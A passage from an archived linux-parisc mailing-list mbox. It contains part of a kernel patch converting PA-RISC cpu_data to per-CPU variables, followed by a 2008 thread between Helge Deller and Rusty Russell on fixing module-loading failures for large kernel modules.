 kernel/smp.c            |   24 +++++++++-------
 kernel/time.c           |    4 +-
 kernel/topology.c       |    4 +-
 8 files changed, 64 insertions(+), 59 deletions(-)

diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 3c9d348..9d64df8 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -17,6 +17,7 @@
 #include <asm/ptrace.h>
 #include <asm/types.h>
 #include <asm/system.h>
+#include <asm/percpu.h>
 #endif /* __ASSEMBLY__ */
 
 #define KERNEL_STACK_SIZE 	(4*PAGE_SIZE)
@@ -109,8 +110,7 @@ struct cpuinfo_parisc {
 };
 
 extern struct system_cpuinfo_parisc boot_cpu_data;
-extern struct cpuinfo_parisc cpu_data[NR_CPUS];
-#define current_cpu_data cpu_data[smp_processor_id()]
+DECLARE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 #define CPU_HVERSION ((boot_cpu_data.hversion >> 4) & 0x0FFF)
 
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 23ef950..3ee6b33 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -298,7 +298,7 @@ unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 	irq_desc[irq].affinity = cpumask_of_cpu(cpu);
 #endif
 
-	return cpu_data[cpu].txn_addr;
+	return per_cpu(cpu_data, cpu).txn_addr;
 }
 
 
@@ -309,8 +309,9 @@ unsigned long txn_alloc_addr(unsigned int virt_irq)
 	next_cpu++; /* assign to "next" CPU we want this bugger on */
 
 	/* validate entry */
-	while ((next_cpu < NR_CPUS) && (!cpu_data[next_cpu].txn_addr || 
-		!cpu_online(next_cpu)))
+	while ((next_cpu < NR_CPUS) &&
+		(!per_cpu(cpu_data, next_cpu).txn_addr ||
+		 !cpu_online(next_cpu)))
 		next_cpu++;
 
 	if (next_cpu >= NR_CPUS) 
@@ -359,7 +360,7 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 		printk(KERN_DEBUG "redirecting irq %d from CPU %d to %d\n",
 		       irq, smp_processor_id(), cpu);
 		gsc_writel(irq + CPU_IRQ_BASE,
-			   cpu_data[cpu].hpa);
+			   per_cpu(cpu_data, cpu).hpa);
 		goto set_out;
 	}
 #endif
diff --git a/arch/parisc/kernel/perf.c b/arch/parisc/kernel/perf.c
index f696f57..75099ef 100644
--- a/arch/parisc/kernel/perf.c
+++ b/arch/parisc/kernel/perf.c
@@ -541,9 +541,9 @@ static int __init perf_init(void)
 	spin_lock_init(&perf_lock);
 
 	/* TODO: this only lets us access the first cpu.. what to do for SMP? */
-	cpu_device = cpu_data[0].dev;
+	cpu_device = per_cpu(cpu_data, 0).dev;
 	printk("Performance monitoring counters enabled for %s\n",
-		cpu_data[0].dev->name);
+		per_cpu(cpu_data, 0).dev->name);
 
 	return 0;
 }
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index 370086f..ecb6093 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -3,7 +3,7 @@
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
- *    Modifications for PA-RISC (C) 1999 Helge Deller <deller@gmx.de>
+ *    Modifications for PA-RISC (C) 1999-2008 Helge Deller <deller@gmx.de>
  *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
  *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
  *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
@@ -46,7 +46,7 @@
 struct system_cpuinfo_parisc boot_cpu_data __read_mostly;
 EXPORT_SYMBOL(boot_cpu_data);
 
-struct cpuinfo_parisc cpu_data[NR_CPUS] __read_mostly;
+DEFINE_PER_CPU(struct cpuinfo_parisc, cpu_data);
 
 extern int update_cr16_clocksource(void);	/* from time.c */
 
@@ -69,6 +69,23 @@ extern int update_cr16_clocksource(void);	/* from time.c */
 */
 
 /**
+ * init_cpu_profiler - enable/setup per cpu profiling hooks.
+ * @cpunum: The processor instance.
+ *
+ * FIXME: doesn't do much yet...
+ */
+static void __cpuinit
+init_percpu_prof(unsigned long cpunum)
+{
+	struct cpuinfo_parisc *p;
+
+	p = &per_cpu(cpu_data, cpunum);
+	p->prof_counter = 1;
+	p->prof_multiplier = 1;
+}
+
+
+/**
  * processor_probe - Determine if processor driver should claim this device.
  * @dev: The device which has been found.
  *
@@ -147,7 +164,7 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 	}
 #endif
 
-	p = &cpu_data[cpuid];
+	p = &per_cpu(cpu_data, cpuid);
 	boot_cpu_data.cpu_count++;
 
 	/* initialize counters - CPU 0 gets it_value set in time_init() */
@@ -162,12 +179,9 @@ static int __cpuinit processor_probe(struct parisc_device *dev)
 #ifdef CONFIG_SMP
 	/*
 	** FIXME: review if any other initialization is clobbered
-	**	for boot_cpu by the above memset().
+	**	  for boot_cpu by the above memset().
 	*/
-
-	/* stolen from init_percpu_prof() */
-	cpu_data[cpuid].prof_counter = 1;
-	cpu_data[cpuid].prof_multiplier = 1;
+	init_percpu_prof(cpuid);
 #endif
 
 	/*
@@ -261,19 +275,6 @@ void __init collect_boot_cpu_data(void)
 }
 
 
-/**
- * init_cpu_profiler - enable/setup per cpu profiling hooks.
- * @cpunum: The processor instance.
- *
- * FIXME: doesn't do much yet...
- */
-static inline void __init
-init_percpu_prof(int cpunum)
-{
-	cpu_data[cpunum].prof_counter = 1;
-	cpu_data[cpunum].prof_multiplier = 1;
-}
-
 
 /**
  * init_per_cpu - Handle individual processor initializations.
@@ -293,7 +294,7 @@ init_percpu_prof(int cpunum)
  *
  * o Enable CPU profiling hooks.
  */
-int __init init_per_cpu(int cpunum)
+int __cpuinit init_per_cpu(int cpunum)
 {
 	int ret;
 	struct pdc_coproc_cfg coproc_cfg;
@@ -307,8 +308,8 @@ int __init init_per_cpu(int cpunum)
 		/* FWIW, FP rev/model is a more accurate way to determine
 		** CPU type. CPU rev/model has some ambiguous cases.
 		*/
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
 			cpunum, coproc_cfg.revision, coproc_cfg.model);
@@ -344,16 +345,17 @@ int __init init_per_cpu(int cpunum)
 int
 show_cpuinfo (struct seq_file *m, void *v)
 {
-	int	n;
+	unsigned long cpu;
 
-	for(n=0; n<boot_cpu_data.cpu_count; n++) {
+	for_each_online_cpu(cpu) {
+		const struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 #ifdef CONFIG_SMP
-		if (0 == cpu_data[n].hpa)
+		if (0 == cpuinfo->hpa)
 			continue;
 #endif
-		seq_printf(m, "processor\t: %d\n"
+		seq_printf(m, "processor\t: %lu\n"
 				"cpu family\t: PA-RISC %s\n",
-				 n, boot_cpu_data.family_name);
+				 cpu, boot_cpu_data.family_name);
 
 		seq_printf(m, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
 
@@ -365,8 +367,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		seq_printf(m, "model\t\t: %s\n"
 				"model name\t: %s\n",
 				 boot_cpu_data.pdc.sys_model_name,
-				 cpu_data[n].dev ? 
-				 cpu_data[n].dev->name : "Unknown" );
+				 cpuinfo->dev ?
+				 cpuinfo->dev->name : "Unknown");
 
 		seq_printf(m, "hversion\t: 0x%08x\n"
 			        "sversion\t: 0x%08x\n",
@@ -377,8 +379,8 @@ show_cpuinfo (struct seq_file *m, void *v)
 		show_cache_info(m);
 
 		seq_printf(m, "bogomips\t: %lu.%02lu\n",
-			     cpu_data[n].loops_per_jiffy / (500000 / HZ),
-			     (cpu_data[n].loops_per_jiffy / (5000 / HZ)) % 100);
+			     cpuinfo->loops_per_jiffy / (500000 / HZ),
+			     (cpuinfo->loops_per_jiffy / (5000 / HZ)) % 100);
 
 		seq_printf(m, "software id\t: %ld\n\n",
 				boot_cpu_data.pdc.model.sw_id);
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 7d27853..5bfd9c7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -321,7 +321,7 @@ static int __init parisc_init(void)
 	
 	processor_init();
 	printk(KERN_INFO "CPU(s): %d x %s at %d.%06d MHz\n",
-			boot_cpu_data.cpu_count,
+			num_present_cpus(),
 			boot_cpu_data.cpu_name,
 			boot_cpu_data.cpu_hz / 1000000,
 			boot_cpu_data.cpu_hz % 1000000	);
@@ -387,8 +387,8 @@ void start_parisc(void)
 	if (ret >= 0 && coproc_cfg.ccr_functional) {
 		mtctl(coproc_cfg.ccr_functional, 10);
 
-		cpu_data[cpunum].fp_rev = coproc_cfg.revision;
-		cpu_data[cpunum].fp_model = coproc_cfg.model;
+		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
+		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
 
 		asm volatile ("fstd	%fr0,8(%sp)");
 	} else {
diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index d47f397..148667e 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -56,16 +56,17 @@ static int smp_debug_lvl = 0;
 		if (lvl >= smp_debug_lvl)	\
 			printk(printargs);
 #else
-#define smp_debug(lvl, ...)
+#define smp_debug(lvl, ...)	do { } while(0)
 #endif /* DEBUG_SMP */
 
 DEFINE_SPINLOCK(smp_lock);
 
 volatile struct task_struct *smp_init_current_idle_task;
 
-static volatile int cpu_now_booting __read_mostly = 0;	/* track which CPU is booting */
+/* track which CPU is booting */
+static volatile int cpu_now_booting __cpuinitdata;
 
-static int parisc_max_cpus __read_mostly = 1;
+static int parisc_max_cpus __cpuinitdata = 1;
 
 /* online cpus are ones that we've managed to bring up completely
  * possible cpus are all valid cpu 
@@ -138,7 +139,7 @@ irqreturn_t
 ipi_interrupt(int irq, void *dev_id) 
 {
 	int this_cpu = smp_processor_id();
-	struct cpuinfo_parisc *p = &cpu_data[this_cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, this_cpu);
 	unsigned long ops;
 	unsigned long flags;
 
@@ -217,13 +218,13 @@ ipi_interrupt(int irq, void *dev_id)
 static inline void
 ipi_send(int cpu, enum ipi_message_type op)
 {
-	struct cpuinfo_parisc *p = &cpu_data[cpu];
+	struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpu);
 	spinlock_t *lock = &per_cpu(ipi_lock, cpu);
 	unsigned long flags;
 
 	spin_lock_irqsave(lock, flags);
 	p->pending_ipi |= 1 << op;
-	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, cpu_data[cpu].hpa);
+	gsc_writel(IPI_IRQ - CPU_IRQ_BASE, p->hpa);
 	spin_unlock_irqrestore(lock, flags);
 }
 
@@ -360,6 +357,7 @@ void __init smp_callin(void)
  */
 int __cpuinit smp_boot_one_cpu(int cpuid)
 {
+	const struct cpuinfo_parisc *p = &per_cpu(cpu_data, cpuid);
 	struct task_struct *idle;
 	long timeout;
 
@@ -391,7 +389,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	smp_init_current_idle_task = idle ;
 	mb();
 
-	printk("Releasing cpu %d now, hpa=%lx\n", cpuid, cpu_data[cpuid].hpa);
+	printk(KERN_INFO "Releasing cpu %d now, hpa=%lx\n", cpuid, p->hpa);
 
 	/*
 	** This gets PDC to release the CPU from a very tight loop.
@@ -402,7 +400,7 @@ int __cpuinit smp_boot_one_cpu(int cpuid)
 	** EIR{0}). MEM_RENDEZ is valid only when it is nonzero and the 
 	** contents of memory are valid."
 	*/
-	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, cpu_data[cpuid].hpa);
+	gsc_writel(TIMER_IRQ - CPU_IRQ_BASE, p->hpa);
 	mb();
 
 	/* 
@@ -434,12 +432,12 @@ alive:
 	return 0;
 }
 
-void __devinit smp_prepare_boot_cpu(void)
+void __init smp_prepare_boot_cpu(void)
 {
-	int bootstrap_processor=cpu_data[0].cpuid;	/* CPU ID of BSP */
+	int bootstrap_processor = per_cpu(cpu_data, 0).cpuid;
 
 	/* Setup BSP mappings */
-	printk("SMP: bootstrap CPU ID is %d\n",bootstrap_processor);
+	printk(KERN_INFO "SMP: bootstrap CPU ID is %d\n", bootstrap_processor);
 
 	cpu_set(bootstrap_processor, cpu_online_map);
 	cpu_set(bootstrap_processor, cpu_present_map);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 4d09203..9d46c43 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -60,7 +60,7 @@ irqreturn_t timer_interrupt(int irq, void *dev_id)
 	unsigned long cycles_elapsed, ticks_elapsed;
 	unsigned long cycles_remainder;
 	unsigned int cpu = smp_processor_id();
-	struct cpuinfo_parisc *cpuinfo = &cpu_data[cpu];
+	struct cpuinfo_parisc *cpuinfo = &per_cpu(cpu_data, cpu);
 
 	/* gcc can optimize for "read-only" case with a local clocktick */
 	unsigned long cpt = clocktick;
@@ -213,7 +213,7 @@ void __init start_cpu_itimer(void)
 
 	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
 
-	cpu_data[cpu].it_value = next_tick;
+	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
 struct platform_device rtc_parisc_dev = {
diff --git a/arch/parisc/kernel/topology.c b/arch/parisc/kernel/topology.c
index d71cb01..f515938 100644
--- a/arch/parisc/kernel/topology.c
+++ b/arch/parisc/kernel/topology.c
@@ -22,14 +22,14 @@
 #include <linux/cpu.h>
 #include <linux/cache.h>
 
-static struct cpu cpu_devices[NR_CPUS] __read_mostly;
+static DEFINE_PER_CPU(struct cpu, cpu_devices);
 
 static int __init topology_init(void)
 {
 	int num;
 
 	for_each_present_cpu(num) {
-		register_cpu(&cpu_devices[num], num);
+		register_cpu(&per_cpu(cpu_devices, num), num);
 	}
 	return 0;
 }

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 2)
Date: Wed, 31 Dec 2008 09:15:40 +1030
Lines: 50
Approved: news@gmane.org
Message-ID: <200812310915.41693.rusty@rustcorp.com.au>
References: <4959346E.7060600@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230677162 30540 80.91.229.12 (30 Dec 2008 22:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 22:46:02 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 30 23:47:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHnMh-0004Mt-M7
	for glpp-linux-parisc@gmane.org; Tue, 30 Dec 2008 23:47:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752010AbYL3Wpv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 17:45:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751754AbYL3Wpv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 17:45:51 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:35865 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751351AbYL3Wpu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 17:45:50 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 76CBEDDE1B;
	Wed, 31 Dec 2008 09:45:49 +1100 (EST)
User-Agent: KMail/1.10.3 (Linux/2.6.27-9-generic; KDE/4.1.3; i686; ; )
In-Reply-To: <4959346E.7060600@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1056 gmane.linux.kernel:773751
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1056>

On Tuesday 30 December 2008 07:04:54 Helge Deller wrote:
> This is the second take of the patch series.
> Changes to previous version:
> - new CONFIG_HAVE_MODULE_SECTION_STUBS config option
> - put stub entries of a code section in front of the section
> 
> ____________
> The parisc port (esp. the 32bit kernel) currently lacks the ability to
> load large kernel modules like xfs or ipv6. This is a long outstanding
> bug and has already been reported a few times, e.g.:
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=350482,
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=401439,
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508489
> 
> The symptom is like this:
> # modprobe xfs
> FATAL: Error inserting xfs
> (/lib/modules/2.6.26-1-parisc/kernel/fs/xfs/xfs.ko): Invalid module
> format
> 
> In dmesg:
> module xfs relocation of symbol xfs_btree_read_bufs is out of range
> (0x3ffefffe in 17 bits)
> 
> The reason for the failure is, that the architecture only provides the
> R_PARISC_PCREL17F (for 32bit kernels) and R_PARISC_PCREL22F (for PA2.0
> and 64bit kernels) relocations, which sometimes can't reach the target
> address of the stub entry if the kernel module is too large. Currently
> parisc (like other architectures) creates one big PLT section for all
> stubs at the beginning of the init and core sections.
> 
> The following two patches changes the parisc module loader to put stubs
> for the code sections in front of each section, so that the distance to
> the stubs more easily fits into the available 17/22 bits.

So now any one section has to pass 17 bits to break?  How close are you with
the xfs module?

But it's kind of nasty, overloading sh_entsize further.  Could we instead
do something like add a arch_module_section_size() weak fn which you can
overload?  We'd use that in get_offset() so our layout and size calculations
were correct, and use sh_size everywhere else.

Cheers,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 2)
Date: Wed, 31 Dec 2008 00:02:41 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <495AA891.2030104@gmx.de>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230678179 832 80.91.229.12 (30 Dec 2008 23:02:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Dec 2008 23:02:59 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Rusty Russell <rusty@rustcorp.com.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 00:04:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHnd5-0001K2-RL
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 00:04:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751551AbYL3XCo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 18:02:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752185AbYL3XCn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 18:02:43 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:37845 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751551AbYL3XCl (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 18:02:41 -0500
Original-Received: (qmail invoked by alias); 30 Dec 2008 23:02:38 -0000
Original-Received: from mnhm-590f79dd.pool.einsundeins.de (EHLO halden.box) [89.15.121.221]
  by mail.gmx.net (mp071) with SMTP; 31 Dec 2008 00:02:38 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX187MZVsRZw7ZVH3WILNz7EU2dnSenwT/lnR/DjWG1
	5VNhv/j9C7rkit
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <200812310915.41693.rusty@rustcorp.com.au>
X-Enigmail-Version: 0.95.7
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.68
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1057 gmane.linux.kernel:773768
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1057>

Rusty Russell wrote:
> On Tuesday 30 December 2008 07:04:54 Helge Deller wrote:
>> This is the second take of the patch series.
>> Changes to previous version:
>> - new CONFIG_HAVE_MODULE_SECTION_STUBS config option
>> - put stub entries of a code section in front of the section
>>
>> ____________
>> The parisc port (esp. the 32bit kernel) currently lacks the ability to
>> load large kernel modules like xfs or ipv6. This is a long outstanding
>> bug and has already been reported a few times, e.g.:
>> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=350482,
>> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=401439,
>> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=508489
>>
>> The symptom is like this:
>> # modprobe xfs
>> FATAL: Error inserting xfs
>> (/lib/modules/2.6.26-1-parisc/kernel/fs/xfs/xfs.ko): Invalid module
>> format
>>
>> In dmesg:
>> module xfs relocation of symbol xfs_btree_read_bufs is out of range
>> (0x3ffefffe in 17 bits)
>>
>> The reason for the failure is, that the architecture only provides the
>> R_PARISC_PCREL17F (for 32bit kernels) and R_PARISC_PCREL22F (for PA2.0
>> and 64bit kernels) relocations, which sometimes can't reach the target
>> address of the stub entry if the kernel module is too large. Currently
>> parisc (like other architectures) creates one big PLT section for all
>> stubs at the beginning of the init and core sections.
>>
>> The following two patches changes the parisc module loader to put stubs
>> for the code sections in front of each section, so that the distance to
>> the stubs more easily fits into the available 17/22 bits.
> 
> So now any one section has to pass 17 bits to break?  How close are you with
> the xfs module?

I did not tested it very much, but xfs is around 1.1M on disk, and ~750K when 
loaded. I think it breaked being 1/4 through the relocations.

> But it's kind of nasty, overloading sh_entsize further.  Could we instead
> do something like add a arch_module_section_size() weak fn which you can
> overload?

Sure. I'll respin the patch.

> We'd use that in get_offset() so our layout and size calculations
> were correct, 

Yes, good.

> and use sh_size everywhere else.

BTW, although the comment states that arches can change section sizes 
in the module_frob_arch_sections() function:
/* Allow arches to frob section contents and sizes.  */
it will break horrible if you do so.
What I found was, that if you change sh_size, at least the module
references / dependency chain will break when running lsmod.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rusty Russell <rusty@rustcorp.com.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules (take 2)
Date: Wed, 31 Dec 2008 14:38:34 +1030
Lines: 18
Approved: news@gmane.org
Message-ID: <200812311438.35394.rusty@rustcorp.com.au>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au> <495AA891.2030104@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230696546 10749 80.91.229.12 (31 Dec 2008 04:09:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Dec 2008 04:09:06 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	Randolph Chung <randolph@tausq.org>,
	Linus <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 31 05:10:13 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LHsPK-0006tG-6l
	for glpp-linux-parisc@gmane.org; Wed, 31 Dec 2008 05:10:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751596AbYLaEIv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Dec 2008 23:08:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752435AbYLaEIv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Dec 2008 23:08:51 -0500
Original-Received: from ozlabs.org ([203.10.76.45]:54305 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751580AbYLaEIu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Dec 2008 23:08:50 -0500
Original-Received: from vivaldi.localnet (unknown [150.101.102.135])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPSA id 4BD96DDE11;
	Wed, 31 Dec 2008 15:08:45 +1100 (EST)
User-Agent: KMail/1.10.3 (Linux/2.6.27-9-generic; KDE/4.1.3; i686; ; )
In-Reply-To: <495AA891.2030104@gmx.de>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1058 gmane.linux.kernel:773836
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1058>

On Wednesday 31 December 2008 09:32:41 Helge Deller wrote:
> BTW, although the comment states that arches can change section sizes 
> in the module_frob_arch_sections() function:
> /* Allow arches to frob section contents and sizes.  */
> it will break horrible if you do so.
> What I found was, that if you change sh_size, at least the module
> references / dependency chain will break when running lsmod.

Well, you can change the size of NOBITS sections: other things are likely
to be less successful.  You could probably make them smaller, though.

Cheers,
Rusty.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: fix module loading failure of large kernel modules
 (take 4)
Date: Wed, 31 Dec 2008 12:31:18 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <495B5806.3080505@gmx.de>
References: <4959346E.7060600@gmx.de> <200812310915.41693.rusty@rustcorp.com.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230723108 31259 80.91.229.12 (31 Dec 2008 11:31:48 GMT)
